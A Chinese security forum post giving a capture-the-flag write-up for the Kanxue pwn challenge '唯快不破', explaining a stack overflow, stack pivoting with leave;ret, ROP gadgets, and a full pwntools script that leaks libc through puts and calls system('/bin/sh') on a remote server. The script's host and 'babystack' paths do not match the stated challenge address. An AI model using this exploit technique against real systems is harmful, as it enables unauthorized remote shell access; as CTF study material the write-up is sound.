安全矩阵

 找回密码
 立即注册
搜索
查看: 2771|回复: 0

看雪-唯快不破

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-3-31 18:50:05 | 显示全部楼层 |阅读模式
本帖最后由 Xor0ne 于 2020-3-31 19:37 编辑

唯快不破



本题来源于:https://ctf.pediy.com/itembank.htm

请下载wkbp.zip和libc-2.23.zip。
题目地址: nc 221.228.109.254 10003

附件下载:

Writeup:

只有PIE没有开:

  1. root@kali:~/Desktop/*ctf/babystack_# checksec bs
  2. [*] '/root/Desktop/*ctf/babystack_/bs'
  3.     Arch:     amd64-64-little
  4.     RELRO:    Full RELRO
  5.     Stack:    Canary found
  6.     NX:       NX enabled
  7.     PIE:      No PIE (0x400000)
复制代码


刚看到的时候有点不知所措,后来才知道ebp是定了的,明显有栈溢出漏洞:






在我们仅仅只能够控制ebp的情况下,我们怎么才能够控制eip去拿到我们的shell呢。这里就可以利用译者栈迁移的操作来构造一个ebp链,利用puts打印泄露函数地址(libc地址),而且题目给出了libc库,因此就有了system地址和binsh地址,然后再用read函数和ROP链来调用system就可以成功getshell了

栈迁移的参考资料:


  • https://blog.csdn.net/zszcr/article/details/79841848
  • https://blog.csdn.net/yuanyunfeng3/article/details/51456049
  • http://veritas501.space/2017/05/23/HITCON-training%20writeup/



栈迁移:通过将ebp覆盖成我们构造的fake_ebp(可以是一些数据段上的地址,只要可读可写就行了) ,
然后利用leave_ret这个gadget将esp劫持到fake_ebp的地址上 leave_ret相当于:

  1. mov esp,ebp
  2. pop ebp  
  3. pop eip
复制代码


先找到可以控制rdi、rsi寄存器值的gadget 这里用了这俩:

  1. 0x0000000000400c03 : pop rdi ; ret
  2. 0x0000000000400c01 : pop rsi ; pop r15 ; ret
复制代码


ROPgadget来找gadget


  1. root@kali:~/Desktop/*ctf/babystack_# ROPgadget --binary bs --only "pop|ret"
  2. Gadgets information
  3. ============================================================
  4. 0x0000000000400bfc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  5. 0x0000000000400bfe : pop r13 ; pop r14 ; pop r15 ; ret
  6. 0x0000000000400c00 : pop r14 ; pop r15 ; ret
  7. 0x0000000000400c02 : pop r15 ; ret
  8. 0x0000000000400bfb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  9. 0x0000000000400bff : pop rbp ; pop r14 ; pop r15 ; ret
  10. 0x0000000000400870 : pop rbp ; ret
  11. 0x0000000000400c03 : pop rdi ; ret
  12. 0x0000000000400c01 : pop rsi ; pop r15 ; ret
  13. 0x0000000000400bfd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
  14. 0x0000000000400287 : ret
  15. 0x000000000040097e : ret 0x8b48

  16. Unique gadgets found: 12
复制代码



这里可以看下分析过程: 读入多少字节数17f0–>6128







看ebp链找到偏移量4112。
payload 写到栈上之后,ebp改变了







构造ROP链的payload。


  1. payload = p64(buf) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
  2. payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(buf+0x8) + p64(16) + p64(read_plt) + p64(leave)
复制代码



第一个payload就是用puts来泄露libc地址,第二个payload就是调用read函数,以便后面泄露完libc地址后再传一次参数给假的栈上面,进而调用system的时候用的参数。

具体脚本:


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import hashlib
import itertools
import string
import os
#import time
r=remote("47.91.226.78", 10005)
#r = process("./bs",env = {'LD_PRELOAD':'./libc.so.6'})
elf = ELF("./bs")
libc = ELF("./libc.so.6")



def proofwork():
  r.recvuntil('sha256(xxxx+')
  a=r.recvline()
  print a
  proof=a.split(" ")[-1]
  x=a.split(")")[0]
  proof=proof.strip()
  print r.recvuntil("xxxx:\n")
  for i in itertools.product(string.ascii_letters+string.digits,repeat=4):
    test="".join(i)+x
    k=hashlib.sha256()
    k.update(test)
    if k.hexdigest()==proof:
      print "find"
      r.sendline("".join(i))
      break
proofwork()





main=0x4009e7
pop_rdi = 0x400c03  #pop rdi ; ret
pop_rsi = 0x400c01  #pop rsi ; pop r15 ; ret
read_plt = elf.plt['read']
#atoi_got = elf.got['atoi']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
buf = 0x602f00
leave = 0x400955

log.info("read_plt addr: " + hex(read_plt))
log.info("puts_got addr: " + hex(puts_got))
log.info("puts_plt addr: " + hex(puts_plt))

payload = p64(buf) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(buf+0x8) + p64(16) + p64(read_plt) + p64(leave)


print r.recvuntil("How many bytes do you want to send?\n")
#pause()
r.sendline(str(6128))
#r.sendlineafter('send?\n', str(6128))
#pause()
r.send("a"*4112 + payload + "a"*(6128-4112-len(payload)))

r.recvuntil("It's time to say goodbye.\n")
#print r.recvline()
#libc.sym['puts']
bin_sh_offset = libc.search('/bin/sh').next()
system_offset = libc.sym['system']
libc_base=u64(r.recvline()[:6]+"\x00\x00") - libc.sym['puts']
log.info("puts_libc_offset addr: " + hex(libc.sym['puts']))
log.info("system_offset addr: " + hex(libc.sym['system']))
log.info("bin_sh_offset addr: " + hex(bin_sh_offset))
log.info("libc_base addr: " + hex(libc_base))

system = libc_base + system_offset
binsh = libc_base + bin_sh_offset

r.sendline(p64(pop_rdi)+p64(binsh)+p64(system))

r.interactive()




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:31 , Processed in 0.013725 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表